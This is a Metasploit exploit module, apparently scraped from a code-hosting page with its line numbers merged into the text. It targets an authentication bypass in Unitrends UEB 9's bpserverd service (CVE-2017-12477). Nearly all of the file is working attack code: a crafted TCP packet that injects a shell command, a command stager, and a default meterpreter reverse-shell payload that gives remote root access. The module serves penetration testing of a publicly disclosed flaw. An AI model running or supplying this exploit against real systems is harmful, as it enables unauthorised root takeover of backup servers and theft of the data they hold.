Path: blob/master/modules/exploits/linux/misc/ueb9_bpserverd.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Unitrends UEB bpserverd authentication bypass RCE',16'Description' => %q{17It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,18has an issue in which its authentication can be bypassed. A remote attacker could use this19issue to execute arbitrary commands with root privilege on the target system.20},21'Author' => [22'Jared Arave', # @iotennui23'Cale Smith', # @0xC41324'Benny Husted' # @BennyHusted25],26'License' => MSF_LICENSE,27'Platform' => 'linux',28'Arch' => [ARCH_X86],29'CmdStagerFlavor' => [ 'printf' ],30'References' => [31['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'],32['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'],33['CVE', '2017-12477'],34],35'Targets' => [36[ 'UEB 9.*', {} ]37],38'Privileged' => true,39'DefaultOptions' => {40'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',41'SSL' => false42},43'DisclosureDate' => '2017-08-08',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52register_options([53Opt::RPORT(1743)54])55deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')56end5758def check59s1 = connect(global = false)60buf1 = s1.get_once(-1).to_s61# parse out the bpd port returned62bpd_port = buf1[-8..-3].to_i6364# check if it's a valid port number (1-65534)65if bpd_port && bpd_port >= 1 && bpd_port <= 6553566Exploit::CheckCode::Detected67else68Exploit::CheckCode::Safe69end70end7172def execute_command(cmd, opts = {})73# append a comment, ignore everything after our cmd74cmd = cmd + " #"7576# build the attack buffer...77command_len = cmd.length + 378packet_len = cmd.length + 2379data = "\xa5\x52\x00\x2d"80data << "\x00\x00\x00"81data << packet_len82data << "\x00\x00\x00"83data << "\x01"84data << "\x00\x00\x00"85data << "\x4c"86data << "\x00\x00\x00"87data << command_len88data << cmd89data << "\x00\x00\x00"9091begin92print_status("Connecting to xinetd for bpd port...")93s1 = connect(global = false)94buf1 = s1.get_once(-1).to_s9596# parse out the bpd port returned, we will connect back on this port to send our cmd97bpd_port = buf1[-8..-3].to_i9899print_good("bpd port received: #{bpd_port}")100vprint_status("Connecting to #{bpd_port}")101102s2 = connect(global = false, opts = { 'RPORT' => bpd_port })103vprint_good('Connected!')104105print_status('Sending command buffer to xinetd')106107s1.put(data)108s2.get_once(-1, 1).to_s109110disconnect(s1)111disconnect(s2)112rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e113fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")114end115end116117def exploit118print_status("#{peer} - pwn'ng ueb 9....")119execute_cmdstager(:linemax => 200)120end121end122123124